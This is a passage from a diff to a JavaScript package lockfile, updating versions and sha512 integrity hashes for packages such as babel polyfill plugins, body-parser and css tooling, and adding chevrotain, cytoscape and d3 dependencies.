"peerDependencies": { "ajv": "^8.0.0" } }, "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ=="], - "ajv-keywords": ["ajv-keywords@3.5.2", "", { "peerDependencies": { "ajv": "^6.9.1" } }, "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ=="], - "anser": ["anser@2.1.1", "", {}, "sha512-nqLm4HxOTpeLOxcmB3QWmV5TcDFhW9y/fyQ+hivtDFcK4OQ+pQ5fzPnXHM1Mfcm0VkLtvVi1TCPr++Qy0Q/3EQ=="], "ansi-escapes": ["ansi-escapes@4.3.2", "", { "dependencies": { "type-fest": "^0.21.3" } }, "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ=="], @@ -2161,7 +2315,7 @@ "arg": ["arg@4.1.3", "", {}, "sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA=="], - "argparse": ["argparse@2.0.1", "", {}, "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="], + "argparse": ["argparse@1.0.10", "", { "dependencies": { "sprintf-js": "~1.0.2" } }, "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg=="], "aria-hidden": ["aria-hidden@1.2.6", "", { "dependencies": { "tslib": "^2.0.0" } }, "sha512-ik3ZgC9dY/lYVVM++OISsaYDeg1tb0VtP5uL3ouh1koGOaUMDPpbFIei4JkFimWUFPn90sbMNMXQAIVOlnYKJA=="], @@ -2223,11 +2377,11 @@ "babel-plugin-jest-hoist": ["babel-plugin-jest-hoist@30.2.0", "", { "dependencies": { "@types/babel__core": "^7.20.5" } }, "sha512-ftzhzSGMUnOzcCXd6WHdBGMyuwy15Wnn0iyyWGKgBDLxf9/s5ABuraCSpBX2uG0jUg4rqJnxsLc5+oYBqoxVaA=="], - "babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.12", "", { "dependencies": { "@babel/compat-data": "^7.22.6", "@babel/helper-define-polyfill-provider": "^0.6.3", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-CPWT6BwvhrTO2d8QVorhTCQw9Y43zOu7G9HigcfxvepOU6b8o3tcWad6oVgZIsZCTt42FFv97aA7ZJsbM4+8og=="], + "babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.14", "", { "dependencies": { "@babel/compat-data": "^7.27.7", "@babel/helper-define-polyfill-provider": "^0.6.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-Co2Y9wX854ts6U8gAAPXfn0GmAyctHuK8n0Yhfjd6t30g7yvKjspvvOo9yG+z52PZRgFErt7Ka2pYnXCjLKEpg=="], - "babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.11.1", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.3", "core-js-compat": "^3.40.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-yGCqvBT4rwMczo28xkH/noxJ6MZ4nJfkVYdoDaC/utLtWrXxv27HVrzAeSbqR8SxDsp46n0YF47EbHoixy6rXQ=="], + "babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.13.0", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5", "core-js-compat": "^3.43.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A=="], - "babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.6.3", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.3" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-LiWSbl4CRSIa5x/JAU6jZiG9eit9w6mz+yVMFwDE83LAWvt0AfGBoZ7HS/mkhrKuh2ZlzfVZYKoLjXdqw6Yt7Q=="], + "babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.6.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-ISqQ2frbiNU9vIJkzg7dlPpznPZ4jOiUQ1uSmB0fEHeowtN3COYRsXr/xexn64NpU13P06jc/L5TgiJXOgrbEg=="], "babel-plugin-replace-ts-export-assignment": ["babel-plugin-replace-ts-export-assignment@0.0.2", "", {}, "sha512-BiTEG2Ro+O1spuheL5nB289y37FFmz0ISE6GjpNCG2JuA/WNcuEHSYw01+vN8quGf208sID3FnZFDwVyqX18YQ=="], @@ -2253,7 +2407,7 @@ "base64url": ["base64url@3.0.1", "", {}, "sha512-ir1UPr3dkwexU7FdV8qBBbNDRUhMmIekYMFZfi+C/sLNnRESKPl23nB9b2pltqfOQNnGzsDdId90AEtG5tCx4A=="], - "baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="], + "baseline-browser-mapping": ["baseline-browser-mapping@2.10.0", "", { "bin": { "baseline-browser-mapping": "dist/cli.cjs" } }, "sha512-lIyg0szRfYbiy67j9KN8IyeD7q7hcmqnJ1ddWmNt19ItGpNN64mnllmxUNFIOdOm6by97jlL6wfpTTJrmnjWAA=="], "bcryptjs": ["bcryptjs@2.4.3", "", {}, "sha512-V/Hy/X9Vt7f3BbPJEi8BdVFMByHi+jNXrYkW3huaybV/kQ0KJg0Y6PkEMbn+zeT+i+SiKZ/HMqJGIIt4LZDqNQ=="], @@ -2261,9 +2415,11 @@ "binary-extensions": ["binary-extensions@2.2.0", "", {}, "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA=="], + "bluebird": ["bluebird@3.4.7", "", {}, "sha512-iD3898SR7sWVRHbiQv+sHUtHnMvC1o3nW5rAcqnq3uOn07DSAppZYUkIGslDz6gXC7HfunPe7YVBgoEJASPcHA=="], + "bn.js": ["bn.js@4.12.1", "", {}, "sha512-k8TVBiPkPJT9uHLdOKfFpqcfprwBFOAAXXozRubr7R7PfIuKvQlzcI4M0pALeqXN09vdaMbUdUj+pass+uULAg=="], - "body-parser": ["body-parser@2.2.0", "", { "dependencies": { "bytes": "^3.1.2", "content-type": "^1.0.5", "debug": "^4.4.0", "http-errors": "^2.0.0", "iconv-lite": "^0.6.3", "on-finished": "^2.4.1", "qs": "^6.14.0", "raw-body": "^3.0.0", "type-is": "^2.0.0" } }, "sha512-02qvAaxv8tp7fBa/mw1ga98OGm+eCbqzJOKoRt70sLmfEEi+jyBYVTDGfCL/k06/4EMk/z01gCe7HoCH/f2LTg=="], + "body-parser": ["body-parser@2.2.2", "", { "dependencies": { "bytes": "^3.1.2", "content-type": "^1.0.5", "debug": "^4.4.3", "http-errors": "^2.0.0", "iconv-lite": "^0.7.0", "on-finished": "^2.4.1", "qs": "^6.14.1", "raw-body": "^3.0.1", "type-is": "^2.0.1" } }, "sha512-oP5VkATKlNwcgvxi0vM0p/D3n2C3EReYVX+DNYs5TjZFn/oQt2j+4sVJtSMr18pdRr8wjTcBl6LoV+FUwzPmNA=="], "boolbase": ["boolbase@1.0.0", "", {}, "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww=="], @@ -2351,9 +2507,11 @@ "cheerio-select": ["cheerio-select@2.1.0", "", { "dependencies": { "boolbase": "^1.0.0", "css-select": "^5.1.0", "css-what": "^6.1.0", "domelementtype": "^2.3.0", "domhandler": "^5.0.3", "domutils": "^3.0.1" } }, "sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g=="], - "chokidar": ["chokidar@3.5.3", "", { "dependencies": { "anymatch": "~3.1.2", "braces": "~3.0.2", "glob-parent": "~5.1.2", "is-binary-path": "~2.1.0", "is-glob": "~4.0.1", "normalize-path": "~3.0.0", "readdirp": "~3.6.0" }, "optionalDependencies": { "fsevents": "~2.3.2" } }, "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw=="], + "chevrotain": ["chevrotain@11.1.2", "", { "dependencies": { "@chevrotain/cst-dts-gen": "11.1.2", "@chevrotain/gast": "11.1.2", "@chevrotain/regexp-to-ast": "11.1.2", "@chevrotain/types": "11.1.2", "@chevrotain/utils": "11.1.2", "lodash-es": "4.17.23" } }, "sha512-opLQzEVriiH1uUQ4Kctsd49bRoFDXGGSC4GUqj7pGyxM3RehRhvTlZJc1FL/Flew2p5uwxa1tUDWKzI4wNM8pg=="], - "chrome-trace-event": ["chrome-trace-event@1.0.3", "", {}, "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg=="], + "chevrotain-allstar": ["chevrotain-allstar@0.3.1", "", { "dependencies": { "lodash-es": "^4.17.21" }, "peerDependencies": { "chevrotain": "^11.0.0" } }, "sha512-b7g+y9A0v4mxCW1qUhf3BSVPg+/NvGErk/dOkrDaHA0nQIQGAtrOjlX//9OQtRlSCy+x9rfB5N8yC71lH1nvMw=="], + + "chokidar": ["chokidar@3.5.3", "", { "dependencies": { "anymatch": "~3.1.2", "braces": "~3.0.2", "glob-parent": "~5.1.2", "is-binary-path": "~2.1.0", "is-glob": "~4.0.1", "normalize-path": "~3.0.0", "readdirp": "~3.6.0" }, "optionalDependencies": { "fsevents": "~2.3.2" } }, "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw=="], "ci-info": ["ci-info@4.3.1", "", {}, "sha512-Wdy2Igu8OcBpI2pZePZ5oWjPC38tmDVx5WKUXKwlLYkA0ozo85sLsLvkBbBn/sZaSCMFOGZJ14fvW9t5/d7kdA=="], @@ -2419,6 +2577,8 @@ "concat-with-sourcemaps": ["concat-with-sourcemaps@1.1.0", "", { "dependencies": { "source-map": "^0.6.1" } }, "sha512-4gEjHJFT9e+2W/77h/DS5SGUgwDaOwprX8L/gl5+3ixnzkVJJsZWDSelmN3Oilw3LNDZjZV0yqH1hLG3k6nghg=="], + "confbox": ["confbox@0.1.8", "", {}, "sha512-RMtmw0iFkeR4YV+fUOSucriAQNb9g8zFR52MWCtl+cCZOFRNL6zeB395vPzFhEjjn4fMxXudmELnl/KF/WrK6w=="], + "connect-redis": ["connect-redis@8.1.0", "", { "peerDependencies": { "express-session": ">=1" } }, "sha512-Km0EYLDlmExF52UCss5gLGTtrukGC57G6WCC2aqEMft5Vr4xNWuM4tL+T97kWrw+vp40SXFteb6Xk/7MxgpwdA=="], "console-browserify": ["console-browserify@1.2.0", "", {}, "sha512-ZMkYO/LkF17QvCPqM0gxw8yUzigAOZOSWSHg91FH6orS7vcEj5dVZTidN2fQ14yBSdg97RqhSNwLUXInd52OTA=="], @@ -2445,13 +2605,13 @@ "copy-to-clipboard": ["copy-to-clipboard@3.3.3", "", { "dependencies": { "toggle-selection": "^1.0.6" } }, "sha512-2KV8NhB5JqC3ky0r9PMCAZKbUHSwtEo4CwCs0KXgruG43gX5PMqDEBbVU4OUzw2MuAWUfsuFmWvEKG5QRfSnJA=="], - "core-js-compat": ["core-js-compat@3.40.0", "", { "dependencies": { "browserslist": "^4.24.3" } }, "sha512-0XEDpr5y5mijvw8Lbc6E5AkjrHfp7eEoPlu36SWeAbcL8fn1G1ANe8DBlo2XoNN89oVpxWwOjYIPVzR4ZvsKCQ=="], + "core-js-compat": ["core-js-compat@3.47.0", "", { "dependencies": { "browserslist": "^4.28.0" } }, "sha512-IGfuznZ/n7Kp9+nypamBhvwdwLsW6KC8IOaURw2doAK5e98AG3acVLdh0woOnEqCfUtS+Vu882JE4k/DAm3ItQ=="], - "core-util-is": ["core-util-is@1.0.2", "", {}, "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ=="], + "core-util-is": ["core-util-is@1.0.3", "", {}, "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ=="], "cors": ["cors@2.8.5", "", { "dependencies": { "object-assign": "^4", "vary": "^1" } }, "sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g=="], - "cosmiconfig": ["cosmiconfig@8.3.6", "", { "dependencies": { "import-fresh": "^3.3.0", "js-yaml": "^4.1.0", "parse-json": "^5.2.0", "path-type": "^4.0.0" }, "peerDependencies": { "typescript": ">=4.9.5" } }, "sha512-kcZ6+W5QzcJ3P1Mt+83OUv/oHFqZHIx8DuxG6eZ5RGMERoLqp4BuGjhHLYGK+Kf5XVkQvqBSmAy/nGWN3qDgEA=="], + "cose-base": ["cose-base@1.0.3", "", { "dependencies": { "layout-base": "^1.0.0" } }, "sha512-s9whTXInMSgAp/NVXVNuVxVKzGH2qck3aQlVHxDCdAEPgtMKwc4Wq6/QKhgdEdgbLSi9rBTAcPoRa6JpiG4ksg=="], "create-ecdh": ["create-ecdh@4.0.4", "", { "dependencies": { "bn.js": "^4.1.0", "elliptic": "^6.5.3" } }, "sha512-mf+TCx8wWc9VpuxfP2ht0iSISLZnt0JgWlrOKZiNqyUZWnjIaCIVNQArMHnCZKfEYRg6IM7A+NeJoN8gf/Ws0A=="], @@ -2473,13 +2633,13 @@ "crypto-random-string": ["crypto-random-string@2.0.0", "", {}, "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA=="], - "css-blank-pseudo": ["css-blank-pseudo@5.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-aCU4AZ7uEcVSUzagTlA9pHciz7aWPKA/YzrEkpdSopJ2pvhIxiQ5sYeMz1/KByxlIo4XBdvMNJAVKMg/GRnhfw=="], + "css-blank-pseudo": ["css-blank-pseudo@8.0.1", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-C5B2e5hCM4llrQkUms+KnWEMVW8K1n2XvX9G7ppfMZJQ7KAS/4rNnkP1Cs+HhWriOz1mWWTMFD4j1J7s31Dgug=="], "css-declaration-sorter": ["css-declaration-sorter@6.4.1", "", { "peerDependencies": { "postcss": "^8.0.9" } }, "sha512-rtdthzxKuyq6IzqX6jEcIzQF/YqccluefyCYheovBOLhFT/drQA9zj/UbRAa9J7C0o6EG6u3E6g+vKkay7/k3g=="], - "css-has-pseudo": ["css-has-pseudo@5.0.2", "", { "dependencies": { "@csstools/selector-specificity": "^2.0.1", "postcss-selector-parser": "^6.0.10", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-q+U+4QdwwB7T9VEW/LyO6CFrLAeLqOykC5mDqJXc7aKZAhDbq7BvGT13VGJe+IwBfdN2o3Xdw2kJ5IxwV1Sc9Q=="], + "css-has-pseudo": ["css-has-pseudo@8.0.0", "", { "dependencies": { "@csstools/selector-specificity": "^6.0.0", "postcss-selector-parser": "^7.1.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-Uz/bsHRbOeir/5Oeuz85tq/yLJLxX+3dpoRdjNTshs6jjqwUg8XaEZGDd0ci3fw7l53Srw0EkJ8mYan0eW5uGQ=="], - "css-prefers-color-scheme": ["css-prefers-color-scheme@8.0.2", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-OvFghizHJ45x7nsJJUSYLyQNTzsCU8yWjxAc/nhPQg1pbs18LMoET8N3kOweFDPy0JV0OSXN2iqRFhPBHYOeMA=="], + "css-prefers-color-scheme": ["css-prefers-color-scheme@11.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-fv0mgtwUhh2m9iio3Kxc2CkrogjIaRdMFaaqyzSFdii17JF4cfPyMNX72B15ZW2Nrr/NZUpxI4dec1VMHYJvdw=="], "css-select": ["css-select@5.2.2", "", { "dependencies": { "boolbase": "^1.0.0", "css-what": "^6.1.0", "domhandler": "^5.0.2", "domutils": "^3.0.1", "nth-check": "^2.0.1" } }, "sha512-TizTzUddG/xYLA3NXodFM0fSbNizXjOKhqiQQwvhlspadZokn1KDy0NZFS0wuEubIYAV5/c1/lAr0TaaFXEXzw=="], @@ -2489,7 +2649,7 @@ "css.escape": ["css.escape@1.5.1", "", {}, "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg=="], - "cssdb": ["cssdb@7.10.0", "", {}, "sha512-yGZ5tmA57gWh/uvdQBHs45wwFY0IBh3ypABk5sEubPBPSzXzkNgsWReqx7gdx6uhC+QoFBe+V8JwBB9/hQ6cIA=="], + "cssdb": ["cssdb@8.8.0", "", {}, "sha512-QbLeyz2Bgso1iRlh7IpWk6OKa3lLNGXsujVjDMPl9rOZpxKeiG69icLpbLCFxeURwmcdIfZqQyhlooKJYM4f8Q=="], "cssesc": ["cssesc@3.0.0", "", { "bin": "bin/cssesc" }, "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg=="], @@ -2503,14 +2663,84 @@ "csso": ["csso@4.2.0", "", { "dependencies": { "css-tree": "^1.1.2" } }, "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA=="], - "cssom": ["cssom@0.5.0", "", {}, "sha512-iKuQcq+NdHqlAcwUY0o/HL69XQrUaQdMjmStJ8JFmUaiiQErlhrmuigkg/CU4E2J0IyUKUrMAgl36TvN67MqTw=="], - "cssstyle": ["cssstyle@4.6.0", "", { "dependencies": { "@asamuzakjp/css-color": "^3.2.0", "rrweb-cssom": "^0.8.0" } }, "sha512-2z+rWdzbbSZv6/rhtvzvqeZQHrBaqgogqt85sqFNbabZOuFbCVFb8kPeEtZjiKkbrm395irpNKiYeFeLiQnFPg=="], "csstype": ["csstype@3.1.3", "", {}, "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw=="], + "cytoscape": ["cytoscape@3.33.1", "", {}, "sha512-iJc4TwyANnOGR1OmWhsS9ayRS3s+XQ185FmuHObThD+5AeJCakAAbWv8KimMTt08xCCLNgneQwFp+JRJOr9qGQ=="], + + "cytoscape-cose-bilkent": ["cytoscape-cose-bilkent@4.1.0", "", { "dependencies": { "cose-base": "^1.0.0" }, "peerDependencies": { "cytoscape": "^3.2.0" } }, "sha512-wgQlVIUJF13Quxiv5e1gstZ08rnZj2XaLHGoFMYXz7SkNfCDOOteKBE6SYRfA9WxxI/iBc3ajfDoc6hb/MRAHQ=="], + + "cytoscape-fcose": ["cytoscape-fcose@2.2.0", "", { "dependencies": { "cose-base": "^2.2.0" }, "peerDependencies": { "cytoscape": "^3.2.0" } }, "sha512-ki1/VuRIHFCzxWNrsshHYPs6L7TvLu3DL+TyIGEsRcvVERmxokbf5Gdk7mFxZnTdiGtnA4cfSmjZJMviqSuZrQ=="], + "d": ["d@1.0.2", "", { "dependencies": { "es5-ext": "^0.10.64", "type": "^2.7.2" } }, "sha512-MOqHvMWF9/9MX6nza0KgvFH4HpMU0EF5uUDXqX/BtxtU8NfB0QzRtJ8Oe/6SuS4kbhyzVJwjd97EA4PKrzJ8bw=="], + "d3": ["d3@7.9.0", "", { "dependencies": { "d3-array": "3", "d3-axis": "3", "d3-brush": "3", "d3-chord": "3", "d3-color": "3", "d3-contour": "4", "d3-delaunay": "6", "d3-dispatch": "3", "d3-drag": "3", "d3-dsv": "3", "d3-ease": "3", "d3-fetch": "3", "d3-force": "3", "d3-format": "3", "d3-geo": "3", "d3-hierarchy": "3", "d3-interpolate": "3", "d3-path": "3", "d3-polygon": "3", "d3-quadtree": "3", "d3-random": "3", "d3-scale": "4", "d3-scale-chromatic": "3", "d3-selection": "3", "d3-shape": "3", "d3-time": "3", "d3-time-format": "4", "d3-timer": "3", "d3-transition": "3", "d3-zoom": "3" } }, "sha512-e1U46jVP+w7Iut8Jt8ri1YsPOvFpg46k+K8TpCb0P+zjCkjkPnV7WzfDJzMHy1LnA+wj5pLT1wjO901gLXeEhA=="], + + "d3-array": ["d3-array@3.2.4", "", { "dependencies": { "internmap": "1 - 2" } }, "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg=="], + + "d3-axis": ["d3-axis@3.0.0", "", {}, "sha512-IH5tgjV4jE/GhHkRV0HiVYPDtvfjHQlQfJHs0usq7M30XcSBvOotpmH1IgkcXsO/5gEQZD43B//fc7SRT5S+xw=="], + + "d3-brush": ["d3-brush@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-drag": "2 - 3", "d3-interpolate": "1 - 3", "d3-selection": "3", "d3-transition": "3" } }, "sha512-ALnjWlVYkXsVIGlOsuWH1+3udkYFI48Ljihfnh8FZPF2QS9o+PzGLBslO0PjzVoHLZ2KCVgAM8NVkXPJB2aNnQ=="], + + "d3-chord": ["d3-chord@3.0.1", "", { "dependencies": { "d3-path": "1 - 3" } }, "sha512-VE5S6TNa+j8msksl7HwjxMHDM2yNK3XCkusIlpX5kwauBfXuyLAtNg9jCp/iHH61tgI4sb6R/EIMWCqEIdjT/g=="], + + "d3-color": ["d3-color@3.1.0", "", {}, "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA=="], + + "d3-contour": ["d3-contour@4.0.2", "", { "dependencies": { "d3-array": "^3.2.0" } }, "sha512-4EzFTRIikzs47RGmdxbeUvLWtGedDUNkTcmzoeyg4sP/dvCexO47AaQL7VKy/gul85TOxw+IBgA8US2xwbToNA=="], + + "d3-delaunay": ["d3-delaunay@6.0.4", "", { "dependencies": { "delaunator": "5" } }, "sha512-mdjtIZ1XLAM8bm/hx3WwjfHt6Sggek7qH043O8KEjDXN40xi3vx/6pYSVTwLjEgiXQTbvaouWKynLBiUZ6SK6A=="], + + "d3-dispatch": ["d3-dispatch@3.0.1", "", {}, "sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg=="], + + "d3-drag": ["d3-drag@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-selection": "3" } }, "sha512-pWbUJLdETVA8lQNJecMxoXfH6x+mO2UQo8rSmZ+QqxcbyA3hfeprFgIT//HW2nlHChWeIIMwS2Fq+gEARkhTkg=="], + + "d3-dsv": ["d3-dsv@3.0.1", "", { "dependencies": { "commander": "7", "iconv-lite": "0.6", "rw": "1" }, "bin": { "csv2json": "bin/dsv2json.js", "csv2tsv": "bin/dsv2dsv.js", "dsv2dsv": "bin/dsv2dsv.js", "dsv2json": "bin/dsv2json.js", "json2csv": "bin/json2dsv.js", "json2dsv": "bin/json2dsv.js", "json2tsv": "bin/json2dsv.js", "tsv2csv": "bin/dsv2dsv.js", "tsv2json": "bin/dsv2json.js" } }, "sha512-UG6OvdI5afDIFP9w4G0mNq50dSOsXHJaRE8arAS5o9ApWnIElp8GZw1Dun8vP8OyHOZ/QJUKUJwxiiCCnUwm+Q=="], + + "d3-ease": ["d3-ease@3.0.1", "", {}, "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w=="], + + "d3-fetch": ["d3-fetch@3.0.1", "", { "dependencies": { "d3-dsv": "1 - 3" } }, "sha512-kpkQIM20n3oLVBKGg6oHrUchHM3xODkTzjMoj7aWQFq5QEM+R6E4WkzT5+tojDY7yjez8KgCBRoj4aEr99Fdqw=="], + + "d3-force": ["d3-force@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-quadtree": "1 - 3", "d3-timer": "1 - 3" } }, "sha512-zxV/SsA+U4yte8051P4ECydjD/S+qeYtnaIyAs9tgHCqfguma/aAQDjo85A9Z6EKhBirHRJHXIgJUlffT4wdLg=="], + + "d3-format": ["d3-format@3.1.2", "", {}, "sha512-AJDdYOdnyRDV5b6ArilzCPPwc1ejkHcoyFarqlPqT7zRYjhavcT3uSrqcMvsgh2CgoPbK3RCwyHaVyxYcP2Arg=="], + + "d3-geo": ["d3-geo@3.1.1", "", { "dependencies": { "d3-array": "2.5.0 - 3" } }, "sha512-637ln3gXKXOwhalDzinUgY83KzNWZRKbYubaG+fGVuc/dxO64RRljtCTnf5ecMyE1RIdtqpkVcq0IbtU2S8j2Q=="], + + "d3-hierarchy": ["d3-hierarchy@3.1.2", "", {}, "sha512-FX/9frcub54beBdugHjDCdikxThEqjnR93Qt7PvQTOHxyiNCAlvMrHhclk3cD5VeAaq9fxmfRp+CnWw9rEMBuA=="], + + "d3-interpolate": ["d3-interpolate@3.0.1", "", { "dependencies": { "d3-color": "1 - 3" } }, "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g=="], + + "d3-path": ["d3-path@3.1.0", "", {}, "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ=="], + + "d3-polygon": ["d3-polygon@3.0.1", "", {}, "sha512-3vbA7vXYwfe1SYhED++fPUQlWSYTTGmFmQiany/gdbiWgU/iEyQzyymwL9SkJjFFuCS4902BSzewVGsHHmHtXg=="], + + "d3-quadtree": ["d3-quadtree@3.0.1", "", {}, "sha512-04xDrxQTDTCFwP5H6hRhsRcb9xxv2RzkcsygFzmkSIOJy3PeRJP7sNk3VRIbKXcog561P9oU0/rVH6vDROAgUw=="], + + "d3-random": ["d3-random@3.0.1", "", {}, "sha512-FXMe9GfxTxqd5D6jFsQ+DJ8BJS4E/fT5mqqdjovykEB2oFbTMDVdg1MGFxfQW+FBOGoB++k8swBrgwSHT1cUXQ=="], + + "d3-sankey": ["d3-sankey@0.12.3", "", { "dependencies": { "d3-array": "1 - 2", "d3-shape": "^1.2.0" } }, "sha512-nQhsBRmM19Ax5xEIPLMY9ZmJ/cDvd1BG3UVvt5h3WRxKg5zGRbvnteTyWAbzeSvlh3tW7ZEmq4VwR5mB3tutmQ=="], + + "d3-scale": ["d3-scale@4.0.2", "", { "dependencies": { "d3-array": "2.10.0 - 3", "d3-format": "1 - 3", "d3-interpolate": "1.2.0 - 3", "d3-time": "2.1.1 - 3", "d3-time-format": "2 - 4" } }, "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ=="], + + "d3-scale-chromatic": ["d3-scale-chromatic@3.1.0", "", { "dependencies": { "d3-color": "1 - 3", "d3-interpolate": "1 - 3" } }, "sha512-A3s5PWiZ9YCXFye1o246KoscMWqf8BsD9eRiJ3He7C9OBaxKhAd5TFCdEx/7VbKtxxTsu//1mMJFrEt572cEyQ=="], + + "d3-selection": ["d3-selection@3.0.0", "", {}, "sha512-fmTRWbNMmsmWq6xJV8D19U/gw/bwrHfNXxrIN+HfZgnzqTHp9jOmKMhsTUjXOJnZOdZY9Q28y4yebKzqDKlxlQ=="], + + "d3-shape": ["d3-shape@3.2.0", "", { "dependencies": { "d3-path": "^3.1.0" } }, "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA=="], + + "d3-time": ["d3-time@3.1.0", "", { "dependencies": { "d3-array": "2 - 3" } }, 